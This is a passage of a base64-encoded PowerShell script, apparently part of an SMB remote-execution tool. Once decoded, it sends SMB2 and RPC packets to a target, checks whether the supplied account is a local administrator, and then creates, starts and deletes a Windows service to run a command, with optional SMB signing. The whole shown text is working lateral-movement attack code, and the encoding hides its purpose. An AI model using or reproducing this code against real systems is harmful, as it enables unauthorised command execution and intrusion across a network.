X3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEwOC4uMTI3XSkgLW5lICcwMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9leGVjdXRlIC1lcSAkdHJ1ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdTdGFydFNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhcnRTZXJ2aWNlVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjEzNV0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNlcnZpY2UgJFNNQl9zZXJ2aWNlIGNyZWF0ZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUgPSAkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTMxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNU3RhcnRTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MTMsMHgwMCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlRyeWluZyB0byBleGVjdXRlIGNvbW1hbmQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEzMi4uMTM1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMTFdKSAtZXEgJzFkLTA0LTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBzZXJ2aWNlICRTTUJfc2VydmljZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDItMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSAkU01CX3NlcnZpY2UgZmFpbGVkIHRvIHN0YXJ0IG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA5LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CMl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDENCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAyMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xvc2Vfc2VydmljZV9oYW5kbGVfc3RhZ2UrKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0Nsb3NlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA